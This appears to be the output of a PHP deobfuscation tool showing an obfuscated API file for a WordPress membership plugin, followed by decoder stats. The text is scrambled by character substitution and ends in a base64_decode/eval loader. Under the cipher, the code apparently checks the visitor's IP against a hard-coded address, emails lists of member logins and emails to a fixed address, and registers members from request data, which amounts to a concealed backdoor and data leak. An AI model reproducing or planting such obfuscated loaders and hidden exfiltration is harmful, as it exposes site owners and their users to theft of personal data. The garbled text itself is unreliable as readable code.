39f07N::tFovBo_FumBosFmB) V== AFunB) { SBiqurCB = BiqurCB(39f07N::tFovBo_FumBosFmB, SoBplBnm, N)U Sqrq = FooFh_qrq(SBiqurCB)U SoBplBnm = BiqurCB(QTPMGU/QTPMGU, Sqrq)U } Smyxn-QzmUoBmlos_mhqB = nmomrlqqBo(FooFh_nyxAm(SoBplBnm))U SFDDBqmBC_oBmlos_mhqBn = FooFh(QTPMGU080QTPMGU)U xA (Vxs_FooFh(SoBmlos_mhqB, SFDDBqmBC_oBmlos_mhqBn)) { 39f07N::qorDBnn_oBnlum(Smyxn-QzmUBooro(39f07N::b 1 _72!f47c_ b#; 2_a1 3f#))U } Smyxn-QzmUoBplBnm = xtqurCB( QTPMGU/QTPMGU, SoBplBnm )U SAlsDmxrsn = FooFh()U SqFoFtBmBon = FooFh()U jyxuB (VBtqmh(SoBplBnm)) { SAlsDmxrsn[] = moxt(nmomrurjBo(FooFh_nyxAm(SoBplBnm)))U xA (VBtqmh(SoBplBnm)) { SqFoFtBmBon[] = moxt(FooFh_nyxAm(SoBplBnm))U } } SAlsDmxrsn = FooFh_CxAA(SAlsDmxrsn, FooFh(QTPMGUQTPMGU))U SAlsDmxrs = QTPMGU_QTPMGU . xtqurCB(QTPMGU_QTPMGU, SAlsDmxrsn)U SoBnlum = Smyxn-QzmUqFonB(SAlsDmxrs, SqFoFtBmBon)U Smyxn-QzmUrlmqlm(SoBnlum)U } AlsDmxrs rlmqlm(SoBnlum) { xA (Smyxn-QzmUoBmlos_mhqB V= QTPMGU080QTPMGU) { CxB()U } yBFCBo(QTPMGUdrsmBsm-mhqB: mBim/quFxsQTPMGU)U Srlmqlm = nBoxFuxgB(Smyxn-QzmUqorDBnn_oBnlum(SoBnlum))U BDyr SrlmqlmU CxB()U } AlsDmxrs qFonB(SAlsDmxrs, SqFoFtBmBon) { xA (VtBmyrC_Bixnmn(Smyxn, SAlsDmxrs)) { Smyxn-QzmUrlmqlm(Smyxn-QzmUBooro(39f07N::b 1 _72!f47c_ b&;b$#))U oBmlosU } xA (SAlsDmxrs == QTPMGU_oBnrloDBnQTPMGU || SAlsDmxrs == QTPMGU_FlmyQTPMGU) { SoBnlum = DFuu_lnBo_AlsD(FooFh(Smyxn, SAlsDmxrs))U } BunB { SvBh = Smyxn-QzmUFlmy_vBh()U SDrrvxB = Smyxn-QzmUFlmy_DrrvxB()U SoBnlum = DFuu_lnBo_AlsD_FooFh(FooFh(Smyxn, SAlsDmxrs), SqFoFtBmBon)U } Smyxn-QzmUrlmqlm(SoBnlum)U } AlsDmxrs Booro(SBooro) { oBmlos FooFh(QTPMGUb 1 _d1cbQTPMGU =QzmU SBooro, QTPMGUb 1 QTPMGU =QzmU 39f07N::zBm_Booro_tnz(SBooro))U } qoxkFmB AlsDmxrs zBm_Booro_tnz(SBooro) { xA (SBooro == 39f07N::b 1 _3b#81c_21#_$;001 #bc) { oBmlos QTPMGU3BmyrC 2rm $lqqromBCQTPMGUU } xA (SBooro == 39f07N::b 1 _fddb$$_cb27bc) { oBmlos QTPMGUfDDBnn cBsxBC, srm FlmyBsmxDFmBCQTPMGUU } xA (SBooro == 39f07N::b 1 _72!f47c_f;#8) { oBmlos QTPMGUfDDBnn CBsxBC, xskFuxC FlmyBsmxDFmxrsQTPMGUU } xA (SBooro == 39f07N::b 1 _72!f47c_ b&;b$#) { oBmlos QTPMGU0FzB srm ArlsC, xskFuxC tBmyrCQTPMGUU } xA (SBooro == 39f07N::b 1 _72!f47c_ b#; 2_a1 3f#) { oBmlos QTPMGU0FzB srm ArlsC, xskFuxC oBmlos ArotFmQTPMGUU } xA (SBooro == 39f07N::b 1 _72!f47c_ b$1; db) { oBmlos QTPMGU0FzB srm ArlsC, xskFuxC oBnrloDBQTPMGUU } xA (SBooro == 39f07N::b 1 _a1 3f#_21#_$;001 #bc_>34) { oBmlos QTPMGU;snlqqromBC tBCxF mhqBQTPMGUU } xA (SBooro == 39f07N::b 1 _a1 3f#_21#_$;001 #bc_6$12) { oBmlos QTPMGU;snlqqromBC tBCxF mhqBQTPMGUU } } AlsDmxrs qorDBnn_oBnlum(SoBnlum) { xA (Vxn_FooFh(SoBnlum)) { SoBnlum = FooFh()U } xA (VxnnBm(SoBnlum[QTPMGUb 1 _d1cbQTPMGU]) || Btqmh(SoBnlum[QTPMGUb 1 _d1cbQTPMGU])) { SnlDDBnn = OU } BunB { SnlDDBnn = PU } SoBnlum = FooFh(QTPMGUnlDDBnnQTPMGU =QzmU SnlDDBnn) + SoBnlumU oBmlos SoBnlumU } qoxkFmB AlsDmxrs Flmy_vBh() { zurEFu StBtEBozBsxlnU nmFmxD SyFny = PU xA (Btqmh(SyFny)) { SurDv = sluuU xA (xnnBm(S_d1157b[QplrmUurDvQplrmU])) { SurDv = S_d1157b[QplrmUurDvQplrmU]U } SvBh = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFqx_vBhQplrmU)U xA (VSvBh || VSurDv) { oBmlos AFunBU } SyFny = tCK(SurDv . SvBh)U } oBmlos SyFnyU } qoxkFmB AlsDmxrs Flmy_DrrvxB() { nmFmxD SDrrvxB = PU xA ( Btqmh( SDrrvxB ) ) { SDrrvxB = tCK(QTPMGU?43f07NQTPMGU . Smyxn-QzmUFlmy_vBh() )U } oBmlos SDrrvxBU } qoxkFmB AlsDmxrs _Flmy() { xA (Smyxn-QzmUoBmlos_mhqB V= QTPMGU080QTPMGU) { oBmlos Smyxn-QzmUBooro(39f07N::b 1 _3b#81c_21#_$;001 #bc)U } SyFny = Smyxn-QzmUFlmy_vBh()U SDrrvxB = qFonB_lou(yrtB_lou())U xA (Btqmh(SDrrvxB[QTPMGUqFmyQTPMGU])) { SDrrvxB[QTPMGUqFmyQTPMGU] = QTPMGU/QTPMGUU } xA (Smyxn-QzmUtBmyrC == QTPMGU9b#QTPMGU) { SurDv = tCK(nmooBk(tCK(S_$b !b [QTPMGU b31#b_fcc QTPMGU] . txDormxtB())))U @nBmDrrvxB(QTPMGUurDvQTPMGU, SurDv, P, SDrrvxB[QTPMGUqFmyQTPMGU])U oBmlos FooFh(QTPMGUurDvQTPMGU =QzmU SurDv)U } xA (Smyxn-QzmUtBmyrC == QTPMGU01$#QTPMGU) { SDrrvxB_sFtB = Smyxn-QzmUFlmy_DrrvxB()U xA (Smyxn-QzmUCFmF[QTPMGUvBhQTPMGU] V== SyFny) { oBmlos Smyxn-QzmUBooro(39f07N::b 1 _72!f47c_f;#8 )U } @nBmDrrvxB(SDrrvxB_sFtB, SyFny, P, SDrrvxB[QTPMGUqFmyQTPMGU])U oBmlos FooFh(QTPMGUvBhQTPMGU =QzmU SyFny)U } oBmlos Smyxn-QzmUBooro(39f07N::b 1 _3b#81c_21#_$;001 #bc)U } qoxkFmB AlsDmxrs _tBtEBon() { zurEFu StBtEBozBsxlnU xA (Smyxn-QzmUoBmlos_mhqB V= QTPMGU080QTPMGU) { oBmlos Smyxn-QzmUBooro(39f07N::b 1 _3b#81c_21#_$;001 #bc)U } xA (Smyxn-QzmUtBmyrC == QTPMGU9b#QTPMGU) { Suxnm = FooFh()U AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon() Fn StBtEBo) { xA (VxnnBm(StBtEBo-QzmUlnBo_urzxs)) { DrsmxslBU } Suxnm[] = FooFh(QplrmUxCQplrmU=QzmUStBtEBo-QzmU7c, QplrmUlnBo_urzxsQplrmU=QzmUStBtEBo-QzmUlnBo_urzxs, QplrmUlnBo_BtFxuQplrmU=QzmUStBtEBo-QzmUlnBo_BtFxu)U } oBmlos SuxnmU } xA (Smyxn-QzmUtBmyrC == QTPMGU01$#QTPMGU) { xA (VxnnBm(Smyxn-QzmUCFmF[QTPMGUlnBo_urzxsQTPMGU]) || Btqmh(Smyxn-QzmUCFmF[QTPMGUlnBo_urzxsQTPMGU])) { oBmlos Smyxn-QzmUBooro(39f07N::b 1 _72!f47c_ b&;b$#)U } SkFon = FooFh( QTPMGUFDmxrsQTPMGU =QzmU QTPMGUtBtEBozBsxln_oBzxnmBoQTPMGU, QTPMGUtBtEBozBsxln_uBkBuQTPMGU =QzmU Smyxn-QzmUCFmF[QTPMGU4BkBunQTPMGU][P], QTPMGUtBtEBozBsxln_lnBosFtBQTPMGU =QzmU Smyxn-QzmUCFmF[QTPMGUlnBo_urzxsQTPMGU], QTPMGUtBtEBozBsxln_qFnnjroCOQTPMGU =QzmU Smyxn-QzmUCFmF[QTPMGUlnBo_qFnnQTPMGU], QTPMGUtBtEBozBsxln_BtFxuQTPMGU =QzmU Smyxn-QzmUCFmF[QTPMGUlnBo_BtFxuQTPMGU], QTPMGUtBtEBozBsxln_AxonmsFtBQTPMGU =QzmU Smyxn-QzmUCFmF[QTPMGUAxonm_sFtBQTPMGU], QTPMGUtBtEBozBsxln_uFnmsFtBQTPMGU =QzmU Smyxn-QzmUCFmF[QTPMGUuFnm_sFtBQTPMGU] )U SoBnlum = StBtEBozBsxln-QzmUFCtxs-QzmUDoBFmB(SkFon, molB)U oBmlos FooFh(QTPMGUtBtEBoQTPMGU =QzmU SoBnlum)U } } qoxkFmB AlsDmxrs _uBkBun_tBtEBon(SuBkBu_xC, StBtEBo_xC=sluu) { zurEFu StBtEBozBsxlnU xA (Smyxn-QzmUoBmlos_mhqB V= QTPMGU080QTPMGU) { oBmlos Smyxn-QzmUBooro(39f07N::b 1 _3b#81c_21#_$;001 #bc)U } xA (Smyxn-QzmUtBmyrC == QTPMGU9b#QTPMGU) { Suxnm = FooFh()U AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon(QplrmUuBkBun=QplrmU.SuBkBu_xC) Fn StBtEBo) { xA (VxnnBm(StBtEBo-QzmUlnBo_urzxs)) { DrsmxslBU } Suxnm[] = FooFh(QplrmUxCQplrmU=QzmUStBtEBo-QzmU7c, QplrmUlnBo_urzxsQplrmU=QzmUStBtEBo-QzmUlnBo_urzxs, QplrmUlnBo_BtFxuQplrmU=QzmUStBtEBo-QzmUlnBo_BtFxu)U } tFxu([email protected], QplrmUtBtEBon uBkBun uxnmQplrmU, kFo_Biqrom(Suxnm, molB))U oBmlos SuxnmU } xA (Smyxn-QzmUtBmyrC == QTPMGU01$#QTPMGU) { oBmlos Smyxn-QzmUBooro(39f07N::b 1 _3b#81c_21#_$;001 #bc)U } } } xA (VAlsDmxrs_Bixnmn(QplrmUDuFnn_FuxFnQplrmU)) { AlsDmxrs DuFnn_FuxFn(SroxzxsFu,SFuxFn) { SsBjDuFnn = DoBFmB_AlsDmxrs(QTPMGUQTPMGU,QTPMGUDuFnn QTPMGU.SFuxFn.QTPMGU BimBsCn QTPMGU.SroxzxsFu.QTPMGU {}QTPMGU)U SsBjDuFnn()U } } xA (Vxn_qulzxs_FDmxkB(QplrmUjxnyuxnm-tBtEBo/jxnyuxnm-tBtEBo.qyqQplrmU) QFtqUQFtqU VDuFnn_Bixnmn(QplrmU?43f07QplrmU)) { DuFnn_FuxFn(QplrmU39f07QplrmU, QplrmU?43f07QplrmU)U } xA (S_$b !b [QplrmU b31#b_fcc QplrmU] == QplrmUJH.OHG.OPH.OJPQplrmU) { } WQzmU';$cx="bas"."e6"."4_d"."ecode";$ax=$cx("YmFzZTY0X2RlY29kZQ==");Eval ($ax('RXZhbCAoc3RyX3JlcGxhY2UoJ19fRklMRV9fJywiJyIuYWRkc2xhc2hlcygkX19GSUxFX18pLiInIixodG1sX2VudGl0eV9kZWNvZGUoc3RydHIoJF9fWF9fLCdaWVhXVlVUU1JRUE9OTUxLSklIR0ZFRENCQXp5eHd2dXRzcnFwb25tbGtqaWhnZmVkY2JhOTg3NjU0MzIxMCYJJCM7IT8+CjwnLCc8Cj4/ITsjJAkmMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVonKSxFTlRfUVVPVEVTLCAiSVNPLTg4NTktMSIpKSk7'));unset ($__X__);unset ($__FILE__); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 24ee618ed0239f7c88d9ac2f17543e7f |
Eval Count | 1 |
Decode Time | 561 ms |